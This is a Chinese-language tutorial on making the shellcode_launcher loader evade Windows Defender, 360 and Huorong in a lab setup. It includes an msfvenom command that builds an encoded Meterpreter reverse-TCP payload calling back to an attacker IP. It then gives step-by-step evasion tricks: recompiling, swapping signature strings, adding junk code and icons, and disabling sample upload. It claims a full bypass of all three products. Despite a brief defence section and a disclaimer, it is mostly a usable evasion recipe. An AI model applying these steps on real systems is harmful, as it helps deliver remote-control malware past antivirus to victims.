老树开新花之shellcode_launcher免杀Windows Defender
字数 2009 2025-08-29 08:31:35
Shellcode Launcher免杀Windows Defender技术分析
1. 概述
本文档详细分析了一种基于shellcode_launcher的Windows Defender免杀技术,适用于网络安全研究人员进行防御性研究。该技术通过源代码修改和编译技巧,实现了对最新版Windows Defender、360和火绒的静态和动态免杀。
2. 环境准备
2.1 测试环境配置
-
攻击机:
- 系统: Mac OS
- IP: 10.211.55.2
- 工具: MSF6
-
测试机1:
- 系统: Windows10
- IP: 10.211.55.3
- 安全软件: 360最新版、Windows Defender最新版
-
测试机2:
- 系统: Windows7
- IP: 10.211.55.9
- 安全软件: 火绒最新版
-
测试机3:
- 系统: Windows Server 2019
- IP: 192.168.238.145
- 安全软件: 火绒最新版、Windows Defender最新版
2.2 工具准备
-
shellcode_launcher:
- 项目地址: https://github.com/clinicallyinane/shellcode_launcher/
- 备用地址: https://github.com/crow821/crowsec/tree/master/BypassAv_new_shellcode_launcher1.1
-
编译环境:
- Visual Studio 2012
3. 技术实现
3.1 Shellcode生成
使用MSFvenom生成混淆后的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=1234 -f raw -o shellcode.raw
注意: 虽然shikata_ga_nai编码可过部分AV,但在VT上仍有杀软可识别其特征。
3.2 基础免杀测试
3.2.1 原始文件测试
- 直接使用GitHub下载的shellcode_launcher.exe:
- 360联网查杀: 立即检测为木马
- 火绒: 立即检测为威胁
3.2.2 源代码编译测试
- 使用VS2012打开源代码
- 不做任何修改直接编译
- 重命名生成文件为
_av.exe和crow_test_av.raw - 测试结果:
- 360: 静态免杀成功
- 火绒: 仍被检测
3.3 火绒免杀技术
3.3.1 特征分析
使用strings提取可执行文件字符串:
strings.exe crow_test_av.exe > 0115.txt
发现关键特征字符串shellcode_launcher.exe。
3.3.2 修改策略
-
替换关键字:
- 将
shellcode_launcher替换为hello_crow - 共修改3处
- 将
-
注释/删除可疑代码段
-
重新编译并重命名为
a.exe
结果: 成功绕过火绒检测
3.4 Windows Defender免杀
3.4.1 环境配置
- 确保Windows Defender开启
- 关闭360(防止冲突)
- 关闭Windows Defender的样本自动上传功能
3.4.2 测试结果
-
静态检测:
- 修改后的
a.exe: 通过 - 直接编译的
crow_test_av.exe: 通过 - 原始
shellcode_launcher.exe: 被检测
- 修改后的
-
动态检测:
- 修改后的文件均可正常上线
3.5 增强免杀技术
3.5.1 添加图标
- 在VS项目中添加资源
- 导入ICO文件(可使用在线生成器: http://www.bitbug.net/)
- 重新编译
3.5.2 代码混淆
- 添加无关C++文件
- 插入无意义代码段
- 重新编译增强混淆效果
4. 技术总结
4.1 免杀效果
| 安全产品 | 静态检测 | 动态检测 |
|---|---|---|
| 360最新版 | ✓ | ✓ |
| 火绒最新版 | ✓ | ✓ |
| Windows Defender | ✓ | ✓ |
4.2 技术要点
- 源代码编译优于直接使用二进制: 直接编译可绕过部分特征检测
- 关键字符串修改: 替换项目相关特征字符串
- 代码混淆: 添加无关代码增加分析难度
- 资源修改: 添加图标等资源降低可疑度
- 环境配置: 关闭自动样本上传功能
4.3 局限性
- MSFvenom生成的shellcode仍可能被部分AV检测
- 动态行为检测仍是免杀最大挑战
- 免杀效果具有时效性,需持续更新技术
5. 防御建议
- 启用多引擎扫描机制
- 保持安全软件更新至最新版本
- 监控可疑进程行为而非仅依赖静态扫描
- 限制未知来源可执行文件运行
- 启用EDR类解决方案增强行为检测
6. 法律声明
本文档所有技术内容仅供网络安全研究使用,任何未经授权的渗透测试行为均属违法。使用者应对其行为负全部法律责任,作者不对任何滥用行为负责。请确保在合法授权范围内进行安全测试,并在测试后24小时内删除所有相关工具文件。